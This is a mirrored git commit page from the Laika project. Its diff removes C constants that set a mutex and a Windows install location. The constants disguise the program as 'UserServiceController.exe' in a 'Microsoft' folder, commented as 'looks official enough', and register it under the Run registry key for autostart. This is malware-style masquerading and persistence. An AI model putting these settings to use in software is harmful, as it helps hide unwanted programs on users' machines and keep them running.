1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-09-30 13:40:08 +00:00

Re-added lboxconfig.h

This commit is contained in:
2022-05-16 17:23:45 -05:00
parent 7175e2ec00
commit 81360a8072
4 changed files with 26 additions and 13 deletions

View File

@@ -13,17 +13,6 @@
#include "lvm.h"
#include "lbox.h"
/* we want a semi-random mutex that is stable between similar builds,
* so we use the GIT_VERSION as our mutex :D */
#define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0"
/* looks official enough */
#define LAIKA_INSTALL_DIR "Microsoft"
#define LAIKA_INSTALL_FILE "UserServiceController.exe"
#define LAIKA_REG_KEY "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
#define LAIKA_REG_VAL "UserServiceController"
HANDLE laikaB_mutex;
/* check if laika is running as super-user */